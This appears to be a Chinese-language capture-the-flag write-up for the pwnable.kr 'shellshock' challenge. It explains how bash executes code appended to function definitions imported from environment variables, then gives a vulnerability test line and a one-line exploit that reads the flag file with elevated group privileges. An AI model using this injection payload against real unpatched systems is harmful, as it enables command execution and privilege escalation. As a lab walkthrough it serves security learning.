shellshock
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)
ssh shellshock@pwnable.kr -p2222 (pw:guest)
shellshock程序源码如下:
#include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
目录下文件权限如下:
flag需要shellshock_pwn用户或用户组可以读,而我们当前的身份是shellshock用户,因此可以考虑让shellshock读取flag
这里涉及到一个漏洞,叫做破壳漏洞(shellshock),可以用以下代码测试是否存在该漏洞
env x ='() { :;}; echo vulnerable' bash -c echo "this is a test"
如果显示了vulnerable说明该漏洞存在
原因是环境变量的值以()开头表示定义导入函数。在bash启动时,如果存在导入函数,那么这个函数就会被执行。调用子进程bash时候,会copy父进程的env,执行导入函数时,bash解析环境变量没有对代码和数据进行边界识别,导致任意代码执行,也就是echo vulnerable
因此exp如下:
env x='() { :;}; bash -c "cat flag"' ./shellshock
这样就会用shellshock的身份去获取flag